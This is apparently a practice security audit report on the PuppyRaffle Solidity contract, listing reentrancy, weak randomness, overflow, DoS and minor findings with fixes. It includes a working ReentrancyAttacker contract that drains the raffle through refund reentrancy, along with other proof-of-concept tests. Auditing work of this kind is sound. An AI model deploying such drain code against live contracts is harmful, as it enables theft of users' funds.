Protocol Audit Report

Version 1.0

Cyfrin.io

January 2, 2024

Protocol Audit Report

Mayank Sharma

Jan 2, 2024

Prepared by: Cyfrin Lead Auditors: - Mayank Sharma

Table of Contents

- Table of Contents
- Protocol Summary
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings

Protocol Summary

The puppy raffle protocol is a decentralized application (dApp) that facilitates the fair and transparent raffling of puppies. It aims to provide a secure and efficient platform for users to participate in puppy raffles, ensuring that the process is free from manipulation and bias.

The protocol utilizes smart contracts written in Solidity to handle the various functionalities of the raffle, including ticket purchasing, random selection of winners, and distribution of prizes. It leverages blockchain technology to ensure immutability and transparency throughout the raffle process.

To participate in a puppy raffle, users can purchase tickets using the native cryptocurrency of the platform. Each ticket represents a chance to win a puppy. The protocol ensures that the ticket purchase process is secure and that the chances of winning are distributed fairly among participants.

The puppy raffle protocol has undergone a security audit to identify and address any potential vulnerabilities in the Solidity implementation of the smart contracts. The audit report provides an overview of the findings and recommendations to enhance the security and robustness of the protocol.

Please refer to the complete audit report for detailed information on the protocol's features, security measures, and any identified issues.

Disclaimer

The Mayank Sharma team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

I loves to play with puppies. I have a puppy named “Buddy”. I love him so much. I am very excited to audit this project. I have found some issues in this project. I have listed all the issues in the following section.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	6
Gas	2
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle:refund` allow entrant to drain raffle balance

Description: The `PuppyRaffle:refund` function does not follow CEI pattern and as a result , enable participants to drain the contract balance .

In the `PuppyRaffle::refund` function , we first make an external call to the `msg.sender` address and only after making that external call do we update the puppy raffle player's array .

```
1          function refund(uint256 playerIndex) public {
2              address playerAddress = players[playerIndex];
3              require(playerAddress == msg.sender, "PuppyRaffle: Only the
                   player can refund");
4              require(playerAddress != address(0), "PuppyRaffle: Player
                   already refunded, or is not active");
5  @>          payable(msg.sender).sendValue(entranceFee);
6  @>          players[playerIndex] = address(0);
7              emit RaffleRefunded(playerAddress);
8      }
```

A player who has entered the raffle could have a fallback function that calls the `PuppyRaffle:refund` function , and then re-enters the raffle , draining the contract balance.

Impact: All fees collected by the raffle could be drained by a malicious participant.

Proof of Concept:

1. Users enter the raffle
2. Attackers sets up the contract with a fallback function that calls `PuppyRaffle:refund` and then re-enters the raffle
3. Attack enters the raffle
4. Attack calls the fallback function , draining the contract balance

Proof of Code

Code

Place the following into a file called `PuppyRaffle.sol`:

```
1          function test_retrancyRefund() public {
2          address[] memory players = new address[](4);
3          players[0] = playerOne;
4          players[1] = playerTwo;
5          players[2] = playerThree;
```

```
6           players[3] = playerFour;
7           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9           ReentrancyAttacker attackerContract = new ReentrancyAttacker(
                puppyRaffle);
10          address attackUser = makeAddr("attackUser");
11          vm.deal(attackUser , 1 ether);
12
13          uint256 startingAttackContractBalance = address(
                attackerContract).balance;
14          uint256 startingContractBalance = address(puppyRaffle).balance;
15
16          vm.prank(attackUser);
17          attackerContract.attack{value: entranceFee}();
18
19          console.log("startingAttackContractBalance",
                startingAttackContractBalance);
20          console.log("startingContractBalance", startingContractBalance)
                ;
21
22          console.log("ending attacker contract balance" , address(
                attackerContract).balance);
23          console.log("ending contract balance" , address(puppyRaffle).
                balance);
24      }
```

And this contract as well .

```
1  contract ReentrancyAttacker{
2
3      PuppyRaffle puppyRaffle;
4      uint256 entranceFee ;
5      uint256 attackerIndex ;
6
7      constructor(PuppyRaffle _puppyRaffle) {
8          puppyRaffle = _puppyRaffle;
9          entranceFee = puppyRaffle.entranceFee();
10     }
11
12     function attack() external payable{
13         address[] memory players = new address[](1);
14         players[0] = address(this);
15         puppyRaffle.enterRaffle{value: entranceFee}(players);
16
17         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
               ;
18         puppyRaffle.refund(attackerIndex);
19     }
20
21     function _stealMoney() internal {
22         if( address(puppyRaffle).balance >= entranceFee){
```

```
23                puppyRaffle.refund(attackerIndex);
24            }
25        }
26
27        fallback() external payable{
28            _stealMoney();
29        }
30
31        receive() external payable{
32            _stealMoney();
33        }
34    }
```

Recommended Mitigation: To prevent this , we should have the `PuppyRaffle:refund` function update the `players` array before making the external call . Additionally , we should move the event emission up as well .

```
1
2       function refund(uint256 playerIndex) public {
3
4           address playerAddress = players[playerIndex];
5           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
6           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
7   +       players[playerIndex] = address(0);
8   +       emit RaffleRefunded(playerAddress);
9           payable(msg.sender).sendValue(entranceFee);
10  -       players[playerIndex] = address(0);
11  -       emit RaffleRefunded(playerAddress);
12      }
```

[H-2] Weak randomness in `PuppyRaffle:selectWinner` allows miner to influence the outcome of the raffle and influence and predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number . A predictable number is not a good random number . Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not winner .

Impact: Any user can manipulate the outcome of the raffle , or front-run the function to get a refund if they are not the winner and select the rarest puppy. Making the entire raffle worthless if it becomes a gas war.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate in the raffle. See the solidity blog on prevrandao. `block.dfficulty` was recently replaced with prevrandao.
2. User can mine/manipulalte thier `msg.sender` value to result in thier address being used to generated the winner.
3. User can revert their `selectWinner` transaction it they dont like the winner or result puppy.

Using on-chain values as randomness seed is a well-documented bad practice in the blockchain space .

Recommended Mitigation: COnsider using the cryptographically provable random number generator (RNG) such a Chainlink VRF or Provable's RNG.

[H-3] Integer over flow `PuppyRaffle:totalFees` loses fees

Description: In the solidity bersion to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
myVar = myVar + 1;
//myVar will be 0
```

Impact: In `PuppyRaffle:selectWinner` , `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees` . If the `totalFees` overflows , the `feeAddress` will not be able to collect the fees. leaving fees permanently locked in the contract.

Proof of Concept: 1. We first conclude a raffle of 4 players to collect some fees. 2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well. 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Proof of Code

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();
                uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
            require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
- uint64 public totalFees = 0;
```

```
2 + uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Looping through players array to check for duplicated in `PuppuRaffle:enterRaffle` is a potential denial of service (DoS) attack , incrementing gas costs for future entrants.

Description: The `PuppyRaffle:enterRaffle` function loops through the `players` array to check for duplicates. This is a potential denial of service (DoS) attack, as the gas costs for future entrants will increase as the array grows. This means that the gas costs for future entrants will increase as the array grows.

```
1 @> for (uint256 i = 0; i < players.length - 1; i++) {
2             for (uint256 j = i + 1; j < players.length; j++) {
3                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
4             }
5     }
```

Impact: The gas costs for future entrants will increase as the array grows. Discouraginf later users from entering the raffle.

An attacker might make the `PuppyRaffle:entrants` array grow to a size that makes it impossible for future entrants to enter the raffle.

Proof of Concept:

If we have 2 sets of 100 player enter , the gas costs will be as such :

– 1st 100 players : 6252048 – 2nd 100 players : 18068138

This more than 3 times the gas costs for the 1st 100 players.

PoC

```
1         function test_denialOfService() public {
2          vm.txGasPrice(1);
3          uint256 playersNum = 100;
```

```
4           address[] memory players = new address[](playersNum);
5           for (uint256 i = 0; i < playersNum; i++) {
6               players[i] = address(i);
7           }
8           uint256 gasStart = gasleft();
9           puppyRaffle.enterRaffle{value: entranceFee*players.length}(
                players);
10          uint256 gasEnd = gasleft();
11          uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
12          console.log("gasUsedFirst", gasUsedFirst);
13
14          // now for 2nd 100 players
15          address[] memory playersTwo = new address[](playersNum);
16          for (uint256 i = 0; i < playersNum; i++) {
17              playersTwo[i] = address(i + playersNum);
18          }
19          uint256 gasStartSecond = gasleft();
20          puppyRaffle.enterRaffle{value: entranceFee*players.length}(
                playersTwo);
21          uint256 gasEndSecond = gasleft();
22          uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
                gasprice;
23          console.log("gasUsedSecond", gasUsedSecond);
24
25          assert(gasUsedFirst < gasUsedSecond);
26
27      }
```

Recommended Mitigation: There are a fix recommandations to mitigate this issue: 1. Consider allowing duplicated . Users can make new wallet address anyways , so a duplicate check doesnt prevent users from entering multiple times. 2. Consider using a mapping to check for duplicated . This would allow constant time lookup of whether a user has already entered the raffle.

```
1  +    mapping(address => uint256) public addressToRaffleId;
2  +    uint256 public raffleId = 0;
3       .
4       .
5       .
6       function enterRaffle(address[] memory newPlayers) public payable {
7           require(msg.value == entranceFee * newPlayers.length, "
                PuppyRaffle: Must send enough to enter raffle");
8           for (uint256 i = 0; i < newPlayers.length; i++) {
9               players.push(newPlayers[i]);
10 +             addressToRaffleId[newPlayers[i]] = raffleId;
11          }
12
13 -        // Check for duplicates
14 +        // Check for duplicates only from the new players
15 +        for (uint256 i = 0; i < newPlayers.length; i++) {
16 +           require(addressToRaffleId[newPlayers[i]] != raffleId, "
```

```
        PuppyRaffle: Duplicate player");
17  +       }
18  -        for (uint256 i = 0; i < players.length; i++) {
19  -            for (uint256 j = i + 1; j < players.length; j++) {
20  -                require(players[i] != players[j], "PuppyRaffle:
        Duplicate player");
21  -            }
22  -        }
23          emit RaffleEnter(newPlayers);
24      }
25  .
26  .
27  .
28      function selectWinner() external {
29  +       raffleId = raffleId + 1;
30          require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1       function selectWinner() external {
2           require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
3           require(players.length > 0, "PuppyRaffle: No players in raffle"
                );
4
5           uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
                sender, block.timestamp, block.difficulty))) % players.
                length;
6           address winner = players[winnerIndex];
7           uint256 fee = totalFees / 10;
8           uint256 winnings = address(this).balance - fee;
9   @>      totalFees = totalFees + uint64(fee);
10          players = new address[](0);
11          emit RaffleWinner(winner, winnings);
12      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-2] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves with a new `claimPrize`, putting the owness on the winner to claim their prize. (Recommended) .

> Pull over push

Low

[L-1] `PuppyRaffle:getActivePlayerIndex` return 0 for non-existent players at index 0 , causing a player at index 0 to incorrectly think they havve not entered the raffle .

Description: If a player is in the `PuppyRaffle::players` array at index 0 , and they call `PuppyRaffle:getActivePlayerIndex` with their address , the function will return 0 , causing the player to think they have not entered the raffle .

```
1     function getActivePlayerIndex(address player) external view returns
          (uint256) {
2         for (uint256 i = 0; i < players.length; i++) {
3             if (players[i] == player) {
4                 return i;
5             }
6         }
7         return 0;
8     }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle , and attampt to enter the raffle again , causing them to lose their entrance fee.

Proof of Concept:

1. User enters the raffle , they are the first player in the `PuppyRaffle::players` array
2. `PuppyRaffle::getActivePlayerIndex` returns 0

3. User thinks they have not entered the raffle , and attempts to enter again , losing their entrance fee

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0 .

You could also reserve the 0th position for any competition but a better solution to return an `int256` where the function returns -1 if the player is not active .

Gas

[G-1] : Unchanged state variable should be declared constant

Reading from storage is much more expensive than reading from constant or immutable variable .

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] : Storage Variable in a lopp should be cached

Everytime you call `players.length` you read from storage, opposed to memory which is more gas efficient. Consider caching the value in a local variable.

```
+       uint256 playerLength = player.length;
-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playerLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+                for (uint256 j = i + 1; j < playerLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                   Duplicate player");
            }
        }
```

Informational

[I-1] : Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] : Using an outdated version of Solidity is not recommended .

olc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with any of the following Solidity versions:

`0.8.18` The recommendations take into account:

Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3] : Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 63

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 175

```
        previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 198

```
        feeAddress = newFeeAddress;
```

[I-4] : `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice .

Its best to keep code clean and follow CEI(Checks , Effects , Interactions) pattern .

```
-       (bool success,) = winner.call{value: prizePool}("");
-       require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+       (bool success,) = winner.call{value: prizePool}("");
+       require(success,"PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] : Use of “magic” numbers is discouraged

If can be confusing the see number literal in a codebase , and its much more readable if the numbers are given a name .

Examples :

```
1       uint256 prizePool = (totalAmountCollected * 80) / 100;
2       uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead , you could use :

```
1       uint256 public constant PRICE_POOL_PERCENTAGE = 80;
2       uint256 public constant FEE_PERCENTAGE = 20;
3       uint256 public constant TOTAL_PERCENTAGE = 100;
```

[I-6] : `PuppyRaffle::_isActivePlayer` is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
1  -     function _isActivePlayer() internal view returns (bool) {
2  -         for (uint256 i = 0; i < players.length; i++) {
3  -             if (players[i] == msg.sender) {
4  -                 return true;
5  -             }
6  -         }
7  -         return false;
8  -     }
```